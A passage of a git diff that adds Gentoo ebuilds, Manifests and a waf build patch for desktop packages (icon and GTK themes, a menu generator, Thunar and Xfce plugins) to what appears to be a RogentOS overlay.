+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/tango-icon-theme/Manifest b/x11-themes/tango-icon-theme/Manifest
new file mode 100644
index 00000000..f777b81c
--- /dev/null
+++ b/x11-themes/tango-icon-theme/Manifest
@@ -0,0 +1,4 @@
+DIST fdo-icons-rogentos1.tar.gz 507041 RMD160 0e282a6807edf3f135346912f2d38dcc49354c53 SHA1 6301ba5413f47daaab97432c90015b50b3357437 SHA256 5ff12b6861abd002e95777a43fb71afb56024ba4684e0a212a990ad8aa1a428d
+DIST tango-icon-theme-0.8.90.tar.gz 1790489 RMD160 5accc7a4741e6acc8d89de59100f31a10206587c SHA1 acdfbf3749885d36349263188334f6d6be405acc SHA256 6e98d8032d57d818acc907ec47e6a718851ff251ae7c29aafb868743eb65c88e
+EBUILD tango-icon-theme-0.8.90.ebuild 2018 RMD160 e381726512225a569bd565f8c8227d920ef10b61 SHA1 f774f43d8c907d9ec868871711d9818e458f2fd8 SHA256 9897fb96e7fa2dad0ace2be85675ac7b3c5d908cae877e37ec9c253441dbc6e4
+MISC metadata.xml 239 RMD160 43d9aecb8e923b569a18ae6e5aab55ef9438394a SHA1 6a98c4a7d62e030d70f279a318b00dc1079a56f6 SHA256 5d929c534d63615358eacbd035a386109d5deebdc7bb562511b4a6338ee2bbb8
diff --git a/x11-themes/tango-icon-theme/metadata.xml b/x11-themes/tango-icon-theme/metadata.xml
new file mode 100644
index 00000000..c03b663e
--- /dev/null
+++ b/x11-themes/tango-icon-theme/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>freedesktop</herd>
+	<maintainer>
+		<email>freedesktop-bugs@gentoo.org</email>
+	</maintainer>
+</pkgmetadata>
diff --git a/x11-themes/tango-icon-theme/tango-icon-theme-0.8.90.ebuild b/x11-themes/tango-icon-theme/tango-icon-theme-0.8.90.ebuild
new file mode 100644
index 00000000..edd6a8ac
--- /dev/null
+++ b/x11-themes/tango-icon-theme/tango-icon-theme-0.8.90.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-themes/tango-icon-theme/tango-icon-theme-0.8.90.ebuild,v 1.10 2010/07/08 02:01:01 ssuominen Exp $
+
+EAPI=2
+SLREV=1
+inherit gnome2-utils
+
+DESCRIPTION="SVG and PNG icon theme from the Tango project"
+HOMEPAGE="http://tango.freedesktop.org"
+SRC_URI="http://tango.freedesktop.org/releases/${P}.tar.gz
+	branding? ( http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/fdo-icons-rogentos${SLREV}.tar.gz )"
+
+LICENSE="public-domain"
+SLOT="0"
+KEYWORDS="amd64 ppc ppc64 sparc x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~sparc-solaris ~sparc64-solaris ~x64-solaris ~x86-solaris"
+IUSE="branding png"
+
+RDEPEND=">=x11-themes/hicolor-icon-theme-0.12"
+DEPEND="${RDEPEND}
+	dev-util/intltool
+	dev-util/pkgconfig
+	>=gnome-base/librsvg-2.12.3
+	|| ( media-gfx/imagemagick[png?] media-gfx/graphicsmagick[imagemagick,png?] )
+	sys-devel/gettext
+	>=x11-misc/icon-naming-utils-0.8.90"
+
+RESTRICT="binchecks strip"
+
+src_prepare() {
+	sed -i -e '/svgconvert_prog/s:rsvg:&-convert:' configure || die #413183
+}
+
+src_configure() {
+	econf \
+		$(use_enable png png-creation) \
+		$(use_enable png icon-framing)
+}
+
+src_install() {
+	addwrite /root/.gnome2
+	emake DESTDIR="${D}" install || die
+	dodoc AUTHORS ChangeLog README
+
+	if use branding; then
+		# replace tango icon start-here.{png,svg} with Rogentos ones
+		for dir in "${D}"/usr/share/icons/Tango/*/places; do
+			base_dir=$(dirname "${dir}")
+			icon_dir=$(basename "${base_dir}")
+			rogentos_svg_file="${WORKDIR}"/fdo-icons-rogentos/scalable/places/start-here.svg
+			if [ "${icon_dir}" = "scalable" ]; then
+				cp "${rogentos_svg_file}" "${dir}/start-here.svg" || die
+			else
+				convert  -background none -resize \
+					"${icon_dir}" "${rogentos_svg_file}" \
+					"${dir}/start-here.png" || die
+			fi
+		done
+	fi
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist; 
+}
+
+pkg_postinst() {
+	gnome2_icon_cache_update;
+}
+
+pkg_postrm() {
+	gnome2_icon_cache_update;
+}
diff --git a/x11-themes/zukitwo-brave/Manifest b/x11-themes/zukitwo-brave/Manifest
new file mode 100644
index 00000000..33f31782
--- /dev/null
+++ b/x11-themes/zukitwo-brave/Manifest
@@ -0,0 +1,2 @@
+DIST zukitwo-brave.tar.gz 147311 RMD160 c1b91a1186b375565791f922ba9dd36e31da81ca SHA1 a2fbf7169632bf847c10c1ae4ae66f8215cd929b SHA256 6c7f910f4538961014d65d699e6fe7799cff5843fe5a59b7dc01bf8330e21104
+EBUILD zukitwo-brave-0.1.ebuild 1501 RMD160 c431fd0d3be44bc4d071cc223da62e4a32d8d068 SHA1 f9379324393a84165aacb7a487ed527d5493a9b6 SHA256 90d9d2e398436d14b6ecf11df7736b1c16550dc28cf374124846fab3cf67ca4b
diff --git a/x11-themes/zukitwo-brave/zukitwo-brave-0.1.ebuild b/x11-themes/zukitwo-brave/zukitwo-brave-0.1.ebuild
new file mode 100644
index 00000000..e96b6da2
--- /dev/null
+++ b/x11-themes/zukitwo-brave/zukitwo-brave-0.1.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Zukitwo-Brave Rogentos theme"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}.tar.gz
+	http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE="gtk3 gtk2 gnome-shell unity cinnamon xfwm4"
+
+RDEPEND="gtk3? ( x11-themes/gtk-engines-unico )
+	>=x11-themes/gtk-engines-murrine-0.98.1.1
+	x11-themes/gtk-engines"
+DEPEND=""
+
+Z="Zukitwo-Brave"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk3; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk3"
+	else
+	ewarn "Gtk3 Files weren't copied"
+	fi
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-2.0/ || die "Cannot copy gtk2"
+	else
+	ewarn "Gtk2 Files were not copied"
+	fi
+
+	if use gnome-shell; then
+		doins -r "${S}"/gnome-shell || die "Cannot copy gnome-shell"
+	else
+	ewarn "Gnome-shell Files were not copied"
+	fi
+
+	if use cinnamon; then
+		doins -r "${S}"/cinnamon || die "Cannot copy cinnamon"
+	else
+	ewarn "Cinnamon Files were not copied"
+	fi
+
+	if use unity; then
+		doins -r "${S}"/unity || die "Cannot copy unity"
+	else
+	ewarn "Unity Files were not copied"
+	fi
+
+	if use xfwm4; then
+		doins -r "${S}"/xfwm4 || die "Cannot copy xfwm"
+	else
+	ewarn "Xfwm Files were not copied"
+        fi
+}
diff --git a/x11-wm/awemenugen/Manifest b/x11-wm/awemenugen/Manifest
new file mode 100644
index 00000000..173f1f78
--- /dev/null
+++ b/x11-wm/awemenugen/Manifest
@@ -0,0 +1,2 @@
+DIST awemenugen-20120205.tar.gz 1620505 SHA256 1ed07d681946c1ede616e43e9b8d82edc8a88790207ac140f31a2e7dd17e3f46 SHA512 3c17367db9b427a129f030aaef96b3572237b8f84f2a32c1eb0dc01e146e1b2d350aaa94a363a7ed4ced929a26104b4f84a157b1f449f88173ff5bb5fce34870 WHIRLPOOL be93262601c15ab285ec908fd318815665d9d5c9dc7c2fc4d8fae4fdcb75da200f64925a0613e8c99f966cb607921683c261252f59a9e70ed3c03da6b5e967a3
+EBUILD awemenugen-20120205.ebuild 701 SHA256 d92616caedd9971ca5d3d997f22e7960af8b551880b78160ac7c22de169d8cc6 SHA512 a29bf0fb3733c1ea3ff9609e8f3ac13c413b048bd8f63d805d090d2481e436eb59feec7d7ab64a8978c1ff5a3f7ff80d74dfe14314fceb02de5d8abe3582ede4 WHIRLPOOL 80093cdd7ca679442112e98f173db1d215c45785966e5152663ae67b2778f393f9acd2b27057a79dc11db74ba59c2e11ffe9964c4c133ec34c3ab9bd4d0429d3
diff --git a/x11-wm/awemenugen/awemenugen-20120205.ebuild b/x11-wm/awemenugen/awemenugen-20120205.ebuild
new file mode 100644
index 00000000..af488679
--- /dev/null
+++ b/x11-wm/awemenugen/awemenugen-20120205.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils
+
+DESCRIPTION="X11 WM Menu"
+HOMEPAGE=""
+SRC_URI="mirror://sourceforge/project/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND=""
+DEPEND=""
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	cd "${S}" || die
+	insinto /opt/${PN}/ || die
+	doins "${S}"/${PN}.sh || die
+	fperms 755 ${PN}.sh || die
+	doins "${S}"/${PN}.jar || die
+	fperms 644 ${PN}.jar || die
+
+	insinto /opt/${PN}/lib/ || die
+	doins "${S}"/lib/freemarker.jar || die
+	fperms 644 lib/freemarker.jar || die
+
+	insinto /usr/bin/ || die
+	newbin "${S}"/awemenugen.sh awemenugen || die
+}
diff --git a/xfce-extra/thunar-dropbox/Manifest b/xfce-extra/thunar-dropbox/Manifest
new file mode 100644
index 00000000..b3edfe53
--- /dev/null
+++ b/xfce-extra/thunar-dropbox/Manifest
@@ -0,0 +1,3 @@
+AUX thunar-dropbox-0.2.0-wscript.patch 1427 SHA256 0f3c0f45685c39f3e90a04a5534139043b67011d9e9a6d256865ced4f6502959 SHA512 59d2f27ace7f0dbfd781e186031ee3a35fe55a9c7d274f04b959eb3847253b3018dd3309ea28c5aa4573037a4e780d711c3fd3ccc61ddffaa4fec00065346f95 WHIRLPOOL a96a6a808f99b15286cae56a97adc7732add7ec76db7f299744556ed7523b5866d5a8b1964518d688f3b05e2c4fbef2b1c2e918c2eedb77d6d8a4489565eee34
+DIST thunar-dropbox-0.2.0.tar.bz2 109292 SHA256 1f3419bb50906874d6db1dfcfd002bc9d1edb91e7641de6826ac9f2ed9196700 SHA512 774f78f2afdd983f5cb81ee8cc425579b186d2ede81f26b94a6974e6f66d0c9831c6a9f8aeed3cc7b1e2587a4cb490786c1426bc90dfeeacfead693778d47a6e WHIRLPOOL 277f89c356ef8d0b52a12a47676d2cc36a3f3ecc61eee54ac505a06194d379142ab81c6e39cbc325918ae7c2fa11a9cf01d5064cdffb5f27200b172c34392b38
+EBUILD thunar-dropbox-0.2.0.ebuild 866 SHA256 f25b3bfa5465616a41801a75d73695616dd0939dff9de0905e25cc74fbb670dc SHA512 a6a1e0a50f75798ab4b0c0d7cd2c15bedfd501100b963868cf2c0195cb3370c22b2742868640e955903cd182186fab9377cb0e8344de0945362da9d48c0f1e7c WHIRLPOOL 89d2fa702c5920bee997467a5eefeb4734e34afbb7912a6e47fa7f82ab34eca41e927d0635b36599de454464fb8cf55e4752128811222a2c6234effcbe37506e
diff --git a/xfce-extra/thunar-dropbox/files/thunar-dropbox-0.2.0-wscript.patch b/xfce-extra/thunar-dropbox/files/thunar-dropbox-0.2.0-wscript.patch
new file mode 100644
index 00000000..cb434205
--- /dev/null
+++ b/xfce-extra/thunar-dropbox/files/thunar-dropbox-0.2.0-wscript.patch
@@ -0,0 +1,36 @@
+thunar-dropbox-0.2.0
+Disable gtk-update-icon-cache, install library with proper permissions,
+respect --libdir.
+slawomir.nizio at sabayon.org
+--- wscript
++++ wscript
+@@ -13,11 +13,13 @@
+ def set_options(opt):
+ 	opt.tool_options('compiler_cc')
+ 	opt.tool_options('gnu_dirs')
++	opt.add_option('--libdir', action='store', default="/usr/lib", help="libdir")
+ 
+ def configure(conf):
+ 	conf.check_tool('compiler_cc')
+ 	conf.check_cfg(package='thunarx-2', uselib_store='THUNARX', mandatory=True, args='--cflags --libs')
+ 	conf.check_cfg(package='gio-2.0', uselib_store='GIO', mandatory=True, args='--cflags --libs')
++	conf.env.LIBDIR = Options.options.libdir
+ 
+ def build(bld):
+ 	prog = bld.new_task_gen('cc', 'cshlib')
+@@ -27,14 +29,4 @@
+ 	prog.includes = 'src'
+ 	prog.find_sources_in_dirs('src')
+ 	bld.install_files('${PREFIX}/share/icons/hicolor/16x16/apps', 'data/icons/hicolor/16x16/apps/thunar-dropbox.png')
+-	bld.install_as('${PREFIX}/lib/thunarx-2/thunar-dropbox.so', 'libthunar-dropbox.so')
+-
+-def shutdown():
+-	if Options.commands['install'] or Options.commands['uninstall']:
+-		dir = '%s/share/icons/hicolor' % Build.bld.env['PREFIX']
+-		command = 'gtk-update-icon-cache -q -t -f %s 2> /dev/null' % dir
+-		try:
+-			if Utils.exec_command(command):
+-				Utils.pprint('YELLOW', 'Icon cache not updated.')
+-		except:
+-			pass
++	bld.install_as(bld.env.LIBDIR + '/thunarx-2/thunar-dropbox.so', 'libthunar-dropbox.so', chmod=0755)
diff --git a/xfce-extra/thunar-dropbox/thunar-dropbox-0.2.0.ebuild b/xfce-extra/thunar-dropbox/thunar-dropbox-0.2.0.ebuild
new file mode 100644
index 00000000..beeddfac
--- /dev/null
+++ b/xfce-extra/thunar-dropbox/thunar-dropbox-0.2.0.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+inherit eutils waf-utils gnome2-utils
+
+DESCRIPTION="Plugin for Thunar that adds context-menu items for Dropbox"
+HOMEPAGE="http://www.softwarebakery.com/maato/thunar-dropbox.html"
+SRC_URI="http://www.softwarebakery.com/maato/files/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+COMMON_DEPEND="dev-libs/glib:2
+	xfce-base/thunar
+"
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig
+"
+RDEPEND="${COMMON_DEPEND}
+	net-misc/dropbox
+"
+
+src_prepare() {
+	epatch "${FILESDIR}/${P}-wscript.patch"
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist
+}
+
+pkg_postinst() {
+	gnome2_icon_cache_update /usr/share/icons/hicolor
+	gtk-update-icon-cache
+}
+
+pkg_postrm() {
+	gnome2_icon_cache_update /usr/share/icons/hicolor
+	gtk-update-icon-cache
+}
diff --git a/xfce-extra/xfce4-messenger-plugin/Manifest b/xfce-extra/xfce4-messenger-plugin/Manifest
new file mode 100644
index 00000000..75f046bb
--- /dev/null
+++ b/xfce-extra/xfce4-messenger-plugin/Manifest
@@ -0,0 +1,5 @@
+DIST xfce4-messenger-plugin_0.1.0-5.debian.tar.gz 2849 SHA256 40b41e466e4a5114bb7f1b3c8689e48e08d86194de83d84f07115fcc8fed61e3 SHA512 744398a1fbf50d00f45c3ec173dac67f8945d64b482481eeb7bfc29d79141ecaa0f116cc59574af9c6865f49fad58b3537fea9bc31fc4813dd5821c9cc6c65ee WHIRLPOOL 58c751cd54447d35b0f9603be166cffb63cf691ad0462244757f39f4ed352595ccc192596a7fd63172e6bdddba99646349110c7bc5ef73d492f1a15d02b4d791
+DIST xfce4-messenger-plugin_0.1.0-5build2.debian.tar.gz 2937 SHA256 12e0f14cdd4e1d63cac75a5963c7412ce45eb417abe3353e28ae3acca98196c0
+DIST xfce4-messenger-plugin_0.1.0.orig.tar.gz 403341 SHA256 23ee61dcf23ad7a3801ac32a090b8a65897ac10bbc9968cbf9f8d1dd4ada5ff7 SHA512 d9cf1c0caeef1c858ec2a917635081cfab644846b767b05d8dea9b450f0a9027ac48c4f3080eaa190d9db7d98c7871bc9cb4ef101fb1bb52f088190ff594ccfb WHIRLPOOL 8b374822577eb89c737d04a83b1a8aa8a3431ef1675ee9c09fac9f5a3b9a90fe404bba43a47c012a06764662353d3b1e38e0e8e77e9ad71a3f92ae5b26cb5ea3
+EBUILD xfce4-messenger-plugin-0.1.0-r1.ebuild 1129 SHA256 87134a76e4007f1bfe10df67d322f281ba342bb4eb6a36e88477912b0f22a3c6 SHA512 abc81b6fdf76cb5256b8862e2f91b70e781938fde7f468c9903e6c5c8a57e022a0799e230ff93ab6a49856a342b593d51a0966be7ea42208da9e8109e00e931d WHIRLPOOL d8ce98fcc16190a6533c9a0416c8ff3943efd26f85b78105537a3d4a7e38932fb107f2614c012340b96e5a08bf49368967d1a9ae5ac3c9dc4595f31778b5968d
+EBUILD xfce4-messenger-plugin-0.1.0.ebuild 1257 SHA256 18d9e6c9d24ea305737bd0450310ce47efecba6049287fb9768ea33bb05aaf76 SHA512 c63a68fe474b20c8ac45d4766da816ad3cc40d079b265fbe88056423562c51ebc07dd0d3c0c5f3797efa8d907a48571078c27692e01b1108e5fafc2d48099837 WHIRLPOOL be2ba86c757a31ae06964b85d7aead60a5a84f0bcf913dce2bab04df795ec59a3d5f58ee7aab1e7c81f3b39e2e8cbb840b7fe7d6af65f9ea48dc03697b2ecaf6
diff --git a/xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0-r1.ebuild b/xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0-r1.ebuild
new file mode 100644
index 00000000..16827ad9
--- /dev/null
+++ b/xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0-r1.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header $
+
+EAPI=5
+EAUTORECONF=yes
+inherit multilib xfconf
+
+DESCRIPTION="A plugin that listens DBus messages and displays received messages"
+HOMEPAGE="http://packages.qa.debian.org/x/xfce4-messenger-plugin.html"
+SRC_URI="https://launchpad.net/ubuntu/+archive/primary/+files/${PN}_${PV}.orig.tar.gz
+	https://launchpad.net/ubuntu/+archive/primary/+files/${PN}_${PV}-5build2.debian.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-libs/dbus-glib
+	>=dev-libs/glib-2
+	sys-apps/dbus
+	x11-libs/gtk+:2
+	>=xfce-base/libxfce4util-4.8
+	>=xfce-base/libxfcegui4-4.8
+	>=xfce-base/xfce4-panel-4.8"
+DEPEND="${RDEPEND}
+	dev-util/intltool
+	virtual/pkgconfig"
+
+pkg_setup() {
+	XFCONF=(
+		--libexecdir="${EPREFIX}"/usr/$(get_libdir)
+		)
+
+	DOCS=( AUTHORS README TODO )
+}
+
+src_prepare() {
+	EPATCH_FORCE=yes EPATCH_SUFFIX=patch EPATCH_SOURCE="${WORKDIR}"/debian/patches epatch
+	xfconf_src_prepare
+}
+
+src_install() {
+	xfconf_src_install
+
+	exeinto /usr/share/doc/${PF}/scripts
+	doexe scripts/xfce-messenger-logtail
+}
diff --git a/xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0.ebuild b/xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0.ebuild
new file mode 100644
index 00000000..04724ab2
--- /dev/null
+++ b/xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0.ebuild,v 1.3 2012/04/09 21:20:55 ssuominen Exp $
+
+EAPI=5
+EAUTORECONF=yes
+inherit multilib xfconf
+
+DESCRIPTION="A plugin that listens DBus messages and displays received messages"
+HOMEPAGE="http://packages.qa.debian.org/x/xfce4-messenger-plugin.html"
+SRC_URI="https://launchpad.net/ubuntu/+archive/primary/+files/${PN}_${PV}.orig.tar.gz
+	https://launchpad.net/ubuntu/+archive/primary/+files/${PN}_${PV}-5.debian.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-libs/dbus-glib
+	>=dev-libs/glib-2
+	sys-apps/dbus
+	x11-libs/gtk+:2
+	>=xfce-base/libxfce4util-4.8
+	>=xfce-base/libxfcegui4-4.8
+	>=xfce-base/xfce4-panel-4.8"
+DEPEND="${RDEPEND}
+	dev-util/intltool
+	virtual/pkgconfig"
+
+pkg_setup() {
+	XFCONF=(
+		--libexecdir="${EPREFIX}"/usr/$(get_libdir)
+		)
+
+	DOCS=( AUTHORS README TODO )
+}
+
+src_prepare() {
+	EPATCH_FORCE=yes EPATCH_SUFFIX=patch EPATCH_SOURCE="${WORKDIR}"/debian/patches epatch
+	xfconf_src_prepare
+}
+
+src_install() {
+	xfconf_src_install
+	exeinto /usr/share/doc/${PF}/scripts
+	doexe scripts/xfce-messenger-logtail
+}
-- 
cgit v1.2.3